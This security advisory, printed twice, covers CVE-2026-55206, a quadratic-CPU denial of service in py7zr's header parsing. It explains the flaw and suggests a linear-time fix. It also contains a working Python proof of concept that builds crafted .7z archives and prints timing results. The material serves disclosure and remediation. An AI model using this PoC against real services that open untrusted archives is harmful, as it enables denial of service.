CVE-2026-55206

### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.